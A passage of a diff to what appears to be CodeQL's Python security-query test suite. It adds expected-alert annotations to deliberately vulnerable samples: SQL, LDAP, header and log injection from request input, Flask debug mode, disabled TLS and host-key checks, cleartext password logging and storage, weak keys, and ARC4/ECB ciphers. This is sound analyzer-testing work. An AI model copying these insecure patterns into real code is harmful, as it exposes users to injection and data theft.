sqlalchemy.sql.expression.TextClause(text=username) - - t9 = db.text(username) - t10 = db.text(text=username) + t1 = sqlalchemy.text(username) # $ Alert + t2 = sqlalchemy.text(text=username) # $ Alert + t3 = sqlalchemy.sql.text(username) # $ Alert + t4 = sqlalchemy.sql.text(text=username) # $ Alert + t5 = sqlalchemy.sql.expression.text(username) # $ Alert + t6 = sqlalchemy.sql.expression.text(text=username) # $ Alert + t7 = sqlalchemy.sql.expression.TextClause(username) # $ Alert + t8 = sqlalchemy.sql.expression.TextClause(text=username) # $ Alert + + t9 = db.text(username) # $ Alert + t10 = db.text(text=username) # $ Alert diff --git a/python/ql/test/query-tests/Security/CWE-090-LdapInjection/LdapInjection.qlref b/python/ql/test/query-tests/Security/CWE-090-LdapInjection/LdapInjection.qlref index 19112f987ada..87db0e58f847 100644 --- a/python/ql/test/query-tests/Security/CWE-090-LdapInjection/LdapInjection.qlref +++ b/python/ql/test/query-tests/Security/CWE-090-LdapInjection/LdapInjection.qlref @@ -1 +1,2 @@ -Security/CWE-090/LdapInjection.ql +query: Security/CWE-090/LdapInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-090-LdapInjection/ldap3_bad.py b/python/ql/test/query-tests/Security/CWE-090-LdapInjection/ldap3_bad.py index 2edb986fccfc..a69aef9ad3d8 100644 --- a/python/ql/test/query-tests/Security/CWE-090-LdapInjection/ldap3_bad.py +++ b/python/ql/test/query-tests/Security/CWE-090-LdapInjection/ldap3_bad.py @@ -1,4 +1,4 @@ -from flask import request, Flask +from flask import request, Flask # $ Source import ldap3 app = Flask(__name__) @@ -18,7 +18,7 @@ def normal(): srv = ldap3.Server('ldap://127.0.0.1') conn = ldap3.Connection(srv, user=dn, auto_bind=True) - conn.search(dn, search_filter) + conn.search(dn, search_filter) # $ Alert @app.route("/direct") @@ -35,7 +35,7 @@ def direct(): srv = ldap3.Server('ldap://127.0.0.1') conn = ldap3.Connection(srv, user=dn, auto_bind=True).search( - dn, search_filter) + dn, search_filter) # $ Alert # if __name__ == "__main__": # app.run(debug=True) diff --git a/python/ql/test/query-tests/Security/CWE-090-LdapInjection/ldap_bad.py b/python/ql/test/query-tests/Security/CWE-090-LdapInjection/ldap_bad.py index 133b0baaf9c0..8fd38f52f577 100644 --- a/python/ql/test/query-tests/Security/CWE-090-LdapInjection/ldap_bad.py +++ b/python/ql/test/query-tests/Security/CWE-090-LdapInjection/ldap_bad.py @@ -1,4 +1,4 @@ -from flask import request, Flask +from flask import request, Flask # $ Source import ldap app = Flask(__name__) @@ -18,7 +18,7 @@ def normal(): ldap_connection = ldap.initialize("ldap://127.0.0.1") user = ldap_connection.search_s( - dn, ldap.SCOPE_SUBTREE, search_filter) + dn, ldap.SCOPE_SUBTREE, search_filter) # $ Alert @app.route("/direct") @@ -34,7 +34,7 @@ def direct(): search_filter = "(user={})".format(unsafe_filter) user = ldap.initialize("ldap://127.0.0.1").search_s( - dn, ldap.SCOPE_SUBTREE, search_filter) + dn, ldap.SCOPE_SUBTREE, search_filter) # $ Alert @app.route("/normal_argbyname") @@ -52,7 +52,7 @@ def normal_argbyname(): ldap_connection = ldap.initialize("ldap://127.0.0.1") user = ldap_connection.search_s( - dn, ldap.SCOPE_SUBTREE, filterstr=search_filter) + dn, ldap.SCOPE_SUBTREE, filterstr=search_filter) # $ Alert # if __name__ == "__main__": diff --git a/python/ql/test/query-tests/Security/CWE-113-HeaderInjection/Tests2-with-wsgi-validator/HeaderInjection.qlref b/python/ql/test/query-tests/Security/CWE-113-HeaderInjection/Tests2-with-wsgi-validator/HeaderInjection.qlref index 7dbe28e4b591..4379f3d416b4 100644 --- a/python/ql/test/query-tests/Security/CWE-113-HeaderInjection/Tests2-with-wsgi-validator/HeaderInjection.qlref +++ b/python/ql/test/query-tests/Security/CWE-113-HeaderInjection/Tests2-with-wsgi-validator/HeaderInjection.qlref @@ -1 +1,2 @@ -Security/CWE-113/HeaderInjection.ql \ No newline at end of file +query: Security/CWE-113/HeaderInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-116-BadTagFilter/BadTagFilter.qlref b/python/ql/test/query-tests/Security/CWE-116-BadTagFilter/BadTagFilter.qlref index e5fc84fd48a9..443c007de0cb 100644 --- a/python/ql/test/query-tests/Security/CWE-116-BadTagFilter/BadTagFilter.qlref +++ b/python/ql/test/query-tests/Security/CWE-116-BadTagFilter/BadTagFilter.qlref @@ -1 +1,2 @@ -Security/CWE-116/BadTagFilter.ql +query: Security/CWE-116/BadTagFilter.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-116-BadTagFilter/tst.py b/python/ql/test/query-tests/Security/CWE-116-BadTagFilter/tst.py index 2c3ec0667e39..51aa659282bc 100644 --- a/python/ql/test/query-tests/Security/CWE-116-BadTagFilter/tst.py +++ b/python/ql/test/query-tests/Security/CWE-116-BadTagFilter/tst.py @@ -1,28 +1,28 @@ import re filters = [ - re.compile(r""".*?<\/script>""", re.IGNORECASE), # NOT OK - doesn't match newlines or `` - re.compile(r""".*?<\/script>""", re.IGNORECASE | re.DOTALL), # NOT OK - doesn't match `` + re.compile(r""".*?<\/script>""", re.IGNORECASE), # NOT OK - doesn't match newlines or `` # $ Alert + re.compile(r""".*?<\/script>""", re.IGNORECASE | re.DOTALL), # NOT OK - doesn't match `` # $ Alert re.compile(r""".*?<\/script[^>]*>""", re.IGNORECASE | re.DOTALL), # OK re.compile(r"""""", re.IGNORECASE | re.DOTALL), # OK - we don't care regexps that only match comments re.compile(r""")|([^\/\s>]+)[\S\s]*?>"""), #// NOT OK - doesn't match comments with the right capture groups - re.compile(r"""<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))"""), # NOT OK - capture groups - re.compile(r"""(<[a-z\/!$]("[^"]*"|'[^']*'|[^'">])*>|)""", re.IGNORECASE), # NOT OK - capture groups - re.compile(r"""<(?:(?:!--([\w\W]*?)-->)|(?:!\[CDATA\[([\w\W]*?)\]\]>)|(?:!DOCTYPE([\w\W]*?)>)|(?:\?([^\s\/<>]+) ?([\w\W]*?)[?/]>)|(?:\/([A-Za-z][A-Za-z0-9\-_\:\.]*)>)|(?:([A-Za-z][A-Za-z0-9\-_\:\.]*)((?:\s+[^"'>]+(?:(?:"[^"]*")|(?:'[^']*')|[^>]*))*|\/|\s+)>))"""), # NOT OK - capture groups + re.compile(r"""]*>([\s\S]*?)<\/script>""", re.IGNORECASE | re.DOTALL), # NOT OK - too strict matching on the end tag # $ Alert + re.compile(r"""<(?:!--([\S|\s]*?)-->)|([^\/\s>]+)[\S\s]*?>"""), #// NOT OK - doesn't match comments with the right capture groups # $ Alert + re.compile(r"""<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))"""), # NOT OK - capture groups # $ Alert + re.compile(r"""(<[a-z\/!$]("[^"]*"|'[^']*'|[^'">])*>|)""", re.IGNORECASE), # NOT OK - capture groups # $ Alert + re.compile(r"""<(?:(?:!--([\w\W]*?)-->)|(?:!\[CDATA\[([\w\W]*?)\]\]>)|(?:!DOCTYPE([\w\W]*?)>)|(?:\?([^\s\/<>]+) ?([\w\W]*?)[?/]>)|(?:\/([A-Za-z][A-Za-z0-9\-_\:\.]*)>)|(?:([A-Za-z][A-Za-z0-9\-_\:\.]*)((?:\s+[^"'>]+(?:(?:"[^"]*")|(?:'[^']*')|[^>]*))*|\/|\s+)>))"""), # NOT OK - capture groups # $ Alert ] doFilters(filters) diff --git a/python/ql/test/query-tests/Security/CWE-117-LogInjection/LogInjection.qlref b/python/ql/test/query-tests/Security/CWE-117-LogInjection/LogInjection.qlref index 1837c628c33e..fc8a61c453d2 100644 --- a/python/ql/test/query-tests/Security/CWE-117-LogInjection/LogInjection.qlref +++ b/python/ql/test/query-tests/Security/CWE-117-LogInjection/LogInjection.qlref @@ -1 +1,2 @@ -Security/CWE-117/LogInjection.ql +query: Security/CWE-117/LogInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-117-LogInjection/LogInjectionBad.py b/python/ql/test/query-tests/Security/CWE-117-LogInjection/LogInjectionBad.py index 0c0cbe1a8fee..a2b5dc7eec06 100644 --- a/python/ql/test/query-tests/Security/CWE-117-LogInjection/LogInjectionBad.py +++ b/python/ql/test/query-tests/Security/CWE-117-LogInjection/LogInjectionBad.py @@ -4,7 +4,7 @@ @Desc :Log Injection """ from flask import Flask -from flask import request +from flask import request # $ Source from django.utils.log import request_logger import logging @@ -15,26 +15,26 @@ @app.route('/bad1') def bad1(): name = request.args.get('name') - app.logger.info('User name: ' + name) # Bad + app.logger.info('User name: ' + name) # Bad # $ Alert return 'bad1' @app.route('/bad2') def bad2(): name = request.args.get('name') - logging.info('User name: ' + name) # Bad + logging.info('User name: ' + name) # Bad # $ Alert return 'bad2' @app.route('/bad3') def bad3(): name = request.args.get('name') - request_logger.warn('User name: ' + name) # Bad + request_logger.warn('User name: ' + name) # Bad # $ Alert return 'bad3' @app.route('/bad4') def bad4(): name = request.args.get('name') logtest = logging.getLogger('test') - logtest.debug('User name: ' + name) # Bad + logtest.debug('User name: ' + name) # Bad # $ Alert return 'bad4' if __name__ == '__main__': diff --git a/python/ql/test/query-tests/Security/CWE-209-StackTraceExposure/StackTraceExposure.qlref b/python/ql/test/query-tests/Security/CWE-209-StackTraceExposure/StackTraceExposure.qlref index 18cf2d49a1aa..1dd7d31abad3 100644 --- a/python/ql/test/query-tests/Security/CWE-209-StackTraceExposure/StackTraceExposure.qlref +++ b/python/ql/test/query-tests/Security/CWE-209-StackTraceExposure/StackTraceExposure.qlref @@ -1 +1 @@ -Security/CWE-209/StackTraceExposure.ql +query: Security/CWE-209/StackTraceExposure.ql diff --git a/python/ql/test/query-tests/Security/CWE-215-FlaskDebug/FlaskDebug.qlref b/python/ql/test/query-tests/Security/CWE-215-FlaskDebug/FlaskDebug.qlref index 0e21a3ac14fe..0fad5641329e 100644 --- a/python/ql/test/query-tests/Security/CWE-215-FlaskDebug/FlaskDebug.qlref +++ b/python/ql/test/query-tests/Security/CWE-215-FlaskDebug/FlaskDebug.qlref @@ -1 +1,2 @@ -Security/CWE-215/FlaskDebug.ql +query: Security/CWE-215/FlaskDebug.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-215-FlaskDebug/test.py b/python/ql/test/query-tests/Security/CWE-215-FlaskDebug/test.py index c1d653aab937..65435cde31ae 100644 --- a/python/ql/test/query-tests/Security/CWE-215-FlaskDebug/test.py +++ b/python/ql/test/query-tests/Security/CWE-215-FlaskDebug/test.py @@ -7,8 +7,8 @@ def main(): raise Exception() # bad -app.run(debug=True) -app.run('host', 8080, True) +app.run(debug=True) # $ Alert +app.run('host', 8080, True) # $ Alert # okay app.run() @@ -23,11 +23,11 @@ def main(): DEBUG = True -app.run(debug=DEBUG) # NOT OK +app.run(debug=DEBUG) # NOT OK # $ Alert DEBUG = 1 -app.run(debug=DEBUG) # NOT OK +app.run(debug=DEBUG) # NOT OK # $ Alert if False: app.run(debug=True) @@ -35,12 +35,12 @@ def main(): runapp = app.run -runapp(debug=True) # NOT OK +runapp(debug=True) # NOT OK # $ Alert # imports from other module import settings -app.run(debug=settings.ALWAYS_TRUE) # NOT OK +app.run(debug=settings.ALWAYS_TRUE) # NOT OK # $ Alert # depending on environment values diff --git a/python/ql/test/query-tests/Security/CWE-285-PamAuthorization/PamAuthorization.qlref b/python/ql/test/query-tests/Security/CWE-285-PamAuthorization/PamAuthorization.qlref index 81915461d7ad..de31c362b6ca 100644 --- a/python/ql/test/query-tests/Security/CWE-285-PamAuthorization/PamAuthorization.qlref +++ b/python/ql/test/query-tests/Security/CWE-285-PamAuthorization/PamAuthorization.qlref @@ -1 +1,2 @@ -Security/CWE-285/PamAuthorization.ql +query: Security/CWE-285/PamAuthorization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-285-PamAuthorization/pam_test.py b/python/ql/test/query-tests/Security/CWE-285-PamAuthorization/pam_test.py index f16e3c9941ea..364b2a64f7da 100644 --- a/python/ql/test/query-tests/Security/CWE-285-PamAuthorization/pam_test.py +++ b/python/ql/test/query-tests/Security/CWE-285-PamAuthorization/pam_test.py @@ -1,7 +1,7 @@ from ctypes import CDLL, POINTER, Structure, byref from ctypes import c_char_p, c_int from ctypes.util import find_library -from flask import Flask, request, redirect +from flask import Flask, request, redirect # $ Source class PamHandle(Structure): @@ -73,7 +73,7 @@ def bad(): conv = PamConv(None, 0) retval = pam_start(service, username, byref(conv), byref(handle)) - retval = pam_authenticate(handle, 0) + retval = pam_authenticate(handle, 0) # $ Alert # NOT OK: no call to `pam_acct_mgmt` auth_success = retval == 0 diff --git a/python/ql/test/query-tests/Security/CWE-295-MissingHostKeyValidation/MissingHostKeyValidation.qlref b/python/ql/test/query-tests/Security/CWE-295-MissingHostKeyValidation/MissingHostKeyValidation.qlref index c366095516af..5b75b5eea103 100644 --- a/python/ql/test/query-tests/Security/CWE-295-MissingHostKeyValidation/MissingHostKeyValidation.qlref +++ b/python/ql/test/query-tests/Security/CWE-295-MissingHostKeyValidation/MissingHostKeyValidation.qlref @@ -1 +1,2 @@ -Security/CWE-295/MissingHostKeyValidation.ql +query: Security/CWE-295/MissingHostKeyValidation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-295-MissingHostKeyValidation/paramiko_host_key.py b/python/ql/test/query-tests/Security/CWE-295-MissingHostKeyValidation/paramiko_host_key.py index 3d0a59dcd8f9..6513b81fbcbb 100644 --- a/python/ql/test/query-tests/Security/CWE-295-MissingHostKeyValidation/paramiko_host_key.py +++ b/python/ql/test/query-tests/Security/CWE-295-MissingHostKeyValidation/paramiko_host_key.py @@ -2,19 +2,19 @@ client = SSHClient() -client.set_missing_host_key_policy(AutoAddPolicy) # bad +client.set_missing_host_key_policy(AutoAddPolicy) # bad # $ Alert client.set_missing_host_key_policy(RejectPolicy) # good -client.set_missing_host_key_policy(WarningPolicy) # bad +client.set_missing_host_key_policy(WarningPolicy) # bad # $ Alert # Using instances -client.set_missing_host_key_policy(AutoAddPolicy()) # bad +client.set_missing_host_key_policy(AutoAddPolicy()) # bad # $ Alert client.set_missing_host_key_policy(RejectPolicy()) # good -client.set_missing_host_key_policy(WarningPolicy()) # bad +client.set_missing_host_key_policy(WarningPolicy()) # bad # $ Alert # different import import paramiko client = paramiko.SSHClient() -client.set_missing_host_key_policy(paramiko.AutoAddPolicy) # bad +client.set_missing_host_key_policy(paramiko.AutoAddPolicy) # bad # $ Alert diff --git a/python/ql/test/query-tests/Security/CWE-295-RequestWithoutValidation/RequestWithoutValidation.qlref b/python/ql/test/query-tests/Security/CWE-295-RequestWithoutValidation/RequestWithoutValidation.qlref index 7ad4d4d2ae34..cda6ce83c836 100644 --- a/python/ql/test/query-tests/Security/CWE-295-RequestWithoutValidation/RequestWithoutValidation.qlref +++ b/python/ql/test/query-tests/Security/CWE-295-RequestWithoutValidation/RequestWithoutValidation.qlref @@ -1 +1,2 @@ -Security/CWE-295/RequestWithoutValidation.ql +query: Security/CWE-295/RequestWithoutValidation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-295-RequestWithoutValidation/make_request.py b/python/ql/test/query-tests/Security/CWE-295-RequestWithoutValidation/make_request.py index 29e857e07b1c..e907fd281f5a 100644 --- a/python/ql/test/query-tests/Security/CWE-295-RequestWithoutValidation/make_request.py +++ b/python/ql/test/query-tests/Security/CWE-295-RequestWithoutValidation/make_request.py @@ -2,14 +2,14 @@ #Simple cases requests.get('https://semmle.com', verify=True) # GOOD -requests.get('https://semmle.com', verify=False) # BAD +requests.get('https://semmle.com', verify=False) # BAD # $ Alert requests.post('https://semmle.com', verify=True) # GOOD -requests.post('https://semmle.com', verify=False) # BAD +requests.post('https://semmle.com', verify=False) # BAD # $ Alert # Simple flow put = requests.put put('https://semmle.com', verify="/path/to/cert/") # GOOD -put('https://semmle.com', verify=False) # BAD +put('https://semmle.com', verify=False) # BAD # $ Alert #Other flow delete = requests.delete @@ -25,17 +25,17 @@ def req1(verify=False): patch = requests.patch def req2(verify): - patch('https://semmle.com', verify=verify) # BAD (from line 30) + patch('https://semmle.com', verify=verify) # BAD (from line 30) # $ Alert req2(False) # BAD (at line 28) req2("/path/to/cert/") # GOOD #Falsey value -requests.post('https://semmle.com', verify=0) # BAD +requests.post('https://semmle.com', verify=0) # BAD # $ Alert # requests treat `None` as default value, which means it is turned on requests.get('https://semmle.com') # OK requests.get('https://semmle.com', verify=None) # OK s = requests.Session() -s.get("url", verify=False) # BAD +s.get("url", verify=False) # BAD # $ Alert diff --git a/python/ql/test/query-tests/Security/CWE-312-CleartextLogging/CleartextLogging.qlref b/python/ql/test/query-tests/Security/CWE-312-CleartextLogging/CleartextLogging.qlref index de9273391c84..2309f8c643a1 100644 --- a/python/ql/test/query-tests/Security/CWE-312-CleartextLogging/CleartextLogging.qlref +++ b/python/ql/test/query-tests/Security/CWE-312-CleartextLogging/CleartextLogging.qlref @@ -1 +1,2 @@ -Security/CWE-312/CleartextLogging.ql \ No newline at end of file +query: Security/CWE-312/CleartextLogging.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-312-CleartextLogging/test.py b/python/ql/test/query-tests/Security/CWE-312-CleartextLogging/test.py index ff01680ed81c..65812b9ebd6c 100644 --- a/python/ql/test/query-tests/Security/CWE-312-CleartextLogging/test.py +++ b/python/ql/test/query-tests/Security/CWE-312-CleartextLogging/test.py @@ -16,62 +16,62 @@ def get_cert(): def log_password(): - password = get_password() - logging.info("logging.info Password '%s'", password) # NOT OK + password = get_password() # $ Source + logging.info("logging.info Password '%s'", password) # NOT OK # $ Alert - LOGGER.log(logging.INFO, "LOGGER.log Password '%s'", password) # NOT OK - logging.root.info("logging.root.info Password '%s'", password) # NOT OK + LOGGER.log(logging.INFO, "LOGGER.log Password '%s'", password) # NOT OK # $ Alert + logging.root.info("logging.root.info Password '%s'", password) # NOT OK # $ Alert # name of logger variable should not matter foo = LOGGER - foo.info("foo.info Password '%s'", password) # NOT OK + foo.info("foo.info Password '%s'", password) # NOT OK # $ Alert # return value from function - get_logger().info("get_logger().info Password '%s'", password) # NOT OK + get_logger().info("get_logger().info Password '%s'", password) # NOT OK # $ Alert def log_cert(): logging.debug("Cert=%s", get_cert()) # OK def print_password(): - print(get_password()) # NOT OK + print(get_password()) # NOT OK # $ Alert - sys.stdout.write(get_password()) # NOT OK - sys.stderr.write(get_password()) # NOT OK + sys.stdout.write(get_password()) # NOT OK # $ Alert + sys.stderr.write(get_password()) # NOT OK # $ Alert import getpass - x = getpass.getpass() - print(x) # NOT OK + x = getpass.getpass() # $ Source + print(x) # NOT OK # $ Alert def log_private(): - def log1(social_security_number, ssn, className, passportNo): - print(social_security_number) # NOT OK - print(ssn) # NOT OK + def log1(social_security_number, ssn, className, passportNo): # $ Source + print(social_security_number) # NOT OK # $ Alert + print(ssn) # NOT OK # $ Alert print(className) # OK - print(passportNo) # NOT OK + print(passportNo) # NOT OK # $ Alert - def log2(post_code, zipCode, home_address): - print(post_code) # NOT OK - print(zipCode) # NOT OK - print(home_address) # NOT OK + def log2(post_code, zipCode, home_address): # $ Source + print(post_code) # NOT OK # $ Alert + print(zipCode) # NOT OK # $ Alert + print(home_address) # NOT OK # $ Alert - def log3(user_latitude, user_longitude): - print(user_latitude) # NOT OK - print(user_longitude) # NOT OK + def log3(user_latitude, user_longitude): # $ Source + print(user_latitude) # NOT OK # $ Alert + print(user_longitude) # NOT OK # $ Alert - def log4(mobile_number, phoneNo): - print(mobile_number) # NOT OK - print(phoneNo) # NOT OK + def log4(mobile_number, phoneNo): # $ Source + print(mobile_number) # NOT OK # $ Alert + print(phoneNo) # NOT OK # $ Alert - def log5(creditcard, debit_card, bank_number, bank_account, accountNo, ccn, user_ccn, succNode): - print(creditcard) # NOT OK - print(debit_card) # NOT OK - print(bank_number) # NOT OK + def log5(creditcard, debit_card, bank_number, bank_account, accountNo, ccn, user_ccn, succNode): # $ Source + print(creditcard) # NOT OK # $ Alert + print(debit_card) # NOT OK # $ Alert + print(bank_number) # NOT OK # $ Alert print(bank_account) # NOT OK, but NOT FOUND - "account" is treated as having the "id" classification and thus excluded. print(accountNo) # NOT OK, but NOT FOUND - "account" is treated as having the "id" classification and thus excluded. - print(ccn) # NOT OK - print(user_ccn) # NOT OK + print(ccn) # NOT OK # $ Alert + print(user_ccn) # NOT OK # $ Alert print(succNode) # OK diff --git a/python/ql/test/query-tests/Security/CWE-312-CleartextStorage-py3/CleartextStorage.qlref b/python/ql/test/query-tests/Security/CWE-312-CleartextStorage-py3/CleartextStorage.qlref index a32206e8d6a4..a39c1b1c4efd 100644 --- a/python/ql/test/query-tests/Security/CWE-312-CleartextStorage-py3/CleartextStorage.qlref +++ b/python/ql/test/query-tests/Security/CWE-312-CleartextStorage-py3/CleartextStorage.qlref @@ -1 +1,2 @@ -Security/CWE-312/CleartextStorage.ql \ No newline at end of file +query: Security/CWE-312/CleartextStorage.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-312-CleartextStorage-py3/test.py b/python/ql/test/query-tests/Security/CWE-312-CleartextStorage-py3/test.py index 91b7fb7e6c26..c46b8d89bb96 100644 --- a/python/ql/test/query-tests/Security/CWE-312-CleartextStorage-py3/test.py +++ b/python/ql/test/query-tests/Security/CWE-312-CleartextStorage-py3/test.py @@ -6,10 +6,10 @@ def get_password(): def write_password(filename): - password = get_password() + password = get_password() # $ Source path = pathlib.Path(filename) - path.write_text(password) # NOT OK - path.write_bytes(password.encode("utf-8")) # NOT OK + path.write_text(password) # NOT OK # $ Alert + path.write_bytes(password.encode("utf-8")) # NOT OK # $ Alert - path.open("w").write(password) # NOT OK + path.open("w").write(password) # NOT OK # $ Alert diff --git a/python/ql/test/query-tests/Security/CWE-312-CleartextStorage/CleartextStorage.qlref b/python/ql/test/query-tests/Security/CWE-312-CleartextStorage/CleartextStorage.qlref index a32206e8d6a4..a39c1b1c4efd 100644 --- a/python/ql/test/query-tests/Security/CWE-312-CleartextStorage/CleartextStorage.qlref +++ b/python/ql/test/query-tests/Security/CWE-312-CleartextStorage/CleartextStorage.qlref @@ -1 +1,2 @@ -Security/CWE-312/CleartextStorage.ql \ No newline at end of file +query: Security/CWE-312/CleartextStorage.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-312-CleartextStorage/password_in_cookie.py b/python/ql/test/query-tests/Security/CWE-312-CleartextStorage/password_in_cookie.py index 2688c13dace3..cec28246939b 100644 --- a/python/ql/test/query-tests/Security/CWE-312-CleartextStorage/password_in_cookie.py +++ b/python/ql/test/query-tests/Security/CWE-312-CleartextStorage/password_in_cookie.py @@ -4,14 +4,14 @@ @app.route('/') def index(): - password = request.args.get("password") + password = request.args.get("password") # $ Source resp = make_response(render_template(...)) - resp.set_cookie("password", password) # NOT OK + resp.set_cookie("password", password) # NOT OK # $ Alert return resp @app.route('/') def index2(): - password = request.args.get("password") + password = request.args.get("password") # $ Source resp = Response(...) - resp.set_cookie("password", password) # NOT OK + resp.set_cookie("password", password) # NOT OK # $ Alert return resp diff --git a/python/ql/test/query-tests/Security/CWE-312-CleartextStorage/test.py b/python/ql/test/query-tests/Security/CWE-312-CleartextStorage/test.py index 6d04aa4b1702..cfb93690901b 100644 --- a/python/ql/test/query-tests/Security/CWE-312-CleartextStorage/test.py +++ b/python/ql/test/query-tests/Security/CWE-312-CleartextStorage/test.py @@ -12,11 +12,11 @@ def write_cert(filename): file.writelines(lines) # OK def write_password(filename): - password = get_password() + password = get_password() # $ Source with open(filename, "w") as file: - file.write(password) # NOT OK + file.write(password) # NOT OK # $ Alert lines = [password + "\n"] - file.writelines(lines) # NOT OK + file.writelines(lines) # NOT OK # $ Alert def FPs(): # just like for cleartext-logging see that file for more elaborate tests diff --git a/python/ql/test/query-tests/Security/CWE-326-WeakCryptoKey/WeakCryptoKey.qlref b/python/ql/test/query-tests/Security/CWE-326-WeakCryptoKey/WeakCryptoKey.qlref index 70a66eef06ef..3ee942673d37 100644 --- a/python/ql/test/query-tests/Security/CWE-326-WeakCryptoKey/WeakCryptoKey.qlref +++ b/python/ql/test/query-tests/Security/CWE-326-WeakCryptoKey/WeakCryptoKey.qlref @@ -1 +1,2 @@ -Security/CWE-326/WeakCryptoKey.ql +query: Security/CWE-326/WeakCryptoKey.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-326-WeakCryptoKey/weak_crypto.py b/python/ql/test/query-tests/Security/CWE-326-WeakCryptoKey/weak_crypto.py index 5ec929c7d094..0f16a7ce8175 100644 --- a/python/ql/test/query-tests/Security/CWE-326-WeakCryptoKey/weak_crypto.py +++ b/python/ql/test/query-tests/Security/CWE-326-WeakCryptoKey/weak_crypto.py @@ -65,23 +65,23 @@ # Weak keys -dsa_gen_key(DSA_WEAK) -ec_gen_key(EC_WEAK) -rsa_gen_key(65537, RSA_WEAK) +dsa_gen_key(DSA_WEAK) # $ Alert +ec_gen_key(EC_WEAK) # $ Alert +rsa_gen_key(65537, RSA_WEAK) # $ Alert -dsa_gen_key(key_size=DSA_WEAK) -ec_gen_key(curve=EC_WEAK) -rsa_gen_key(65537, key_size=RSA_WEAK) +dsa_gen_key(key_size=DSA_WEAK) # $ Alert +ec_gen_key(curve=EC_WEAK) # $ Alert +rsa_gen_key(65537, key_size=RSA_WEAK) # $ Alert -DSA.generate(DSA_WEAK) -RSA.generate(RSA_WEAK) +DSA.generate(DSA_WEAK) # $ Alert +RSA.generate(RSA_WEAK) # $ Alert # ------------------------------------------------------------------------------ # Through function calls def make_new_rsa_key_weak(bits): - return RSA.generate(bits) # NOT OK + return RSA.generate(bits) # NOT OK # $ Alert make_new_rsa_key_weak(RSA_WEAK) diff --git a/python/ql/test/query-tests/Security/CWE-327-BrokenCryptoAlgorithm/BrokenCryptoAlgorithm.qlref b/python/ql/test/query-tests/Security/CWE-327-BrokenCryptoAlgorithm/BrokenCryptoAlgorithm.qlref index 3f7aff53700d..81a5bd0ae94e 100644 --- a/python/ql/test/query-tests/Security/CWE-327-BrokenCryptoAlgorithm/BrokenCryptoAlgorithm.qlref +++ b/python/ql/test/query-tests/Security/CWE-327-BrokenCryptoAlgorithm/BrokenCryptoAlgorithm.qlref @@ -1 +1,2 @@ -Security/CWE-327/BrokenCryptoAlgorithm.ql +query: Security/CWE-327/BrokenCryptoAlgorithm.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Security/CWE-327-BrokenCryptoAlgorithm/test_cryptodome.py b/python/ql/test/query-tests/Security/CWE-327-BrokenCryptoAlgorithm/test_cryptodome.py index 16482054eb23..1287f513a5d2 100644 --- a/python/ql/test/query-tests/Security/CWE-327-BrokenCryptoAlgorithm/test_cryptodome.py +++ b/python/ql/test/query-tests/Security/CWE-327-BrokenCryptoAlgorithm/test_cryptodome.py @@ -8,11 +8,11 @@ secret_message = b"secret message" cipher = ARC4.new(key) -encrypted = cipher.encrypt(secret_message) # NOT OK +encrypted = cipher.encrypt(secret_message) # NOT OK # $ Alert print(secret_message, encrypted) cipher = AES.new(key, AES.MODE_ECB) -encrypted = cipher.encrypt(secret_message) # NOT OK +encrypted = cipher.encrypt(secret_message) # NOT OK # $ Alert print(secret_message, encrypted) diff --git a/python/ql/test/query-tests/Security/CWE-327-BrokenCryptoAlgorithm/test_cryptography.py b/python/ql/test/query-tests/Security/CWE-327-BrokenCryptoAlgorithm/test_cryptography.py index 4c7317cdba40..358eb091cc83 100644 --- a/python/ql/test/query-tests/Security/CWE-327-BrokenCryptoAlgorithm/test_cryptography.py +++ b/python/ql/test/query-tests/Security/CWE-327-BrokenCryptoAlgorithm/test_cryptography.py @@ -10,7 +10,7 @@ secret_message = b"secret message" encryptor = cipher.encryptor() -encrypted = encryptor.update(secret_message) # NOT OK +encrypted = encryptor.update(secret_message) # NOT OK # $ Alert encrypted += encryptor.finalize() print(secret_message, encrypted) @@ -19,7 +19,7 @@ cipher = Cipher(algorithm, mode=modes.ECB()) encryptor = cipher.encryptor() -encrypted = encryptor.update(secret_message + b'\x80\x00') # NOT OK +encrypted = encryptor.update(secret_message + b'\x80\x00') # NOT OK # $ Alert encrypted += encryptor.finalize() print(secret_message, encrypted) diff --git a/python/ql/test/query-tests/Security/CWE-327-InsecureDefaultProtocol/InsecureDefaultProtocol.qlref b/python/ql/test/query-tests/Security/CWE-327-InsecureDefaultProtocol/InsecureDefaultProtocol.qlref index 13599b14931c..64b934bc3855 100644 --- a/python/ql/test/query-tests/Security/CWE-327-InsecureDefaultProtocol/InsecureDefaultProtocol.qlref +++ b/python/ql/test/query-tests/Security/CWE-327-InsecureDefaultProtocol/InsecureDefaultProtocol.qlref @@ -1 +1,2 @@ -Security/CWE-327/InsecureDefaultProtocol.ql +query: Security/CWE-327/InsecureDefaultProtocol.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git 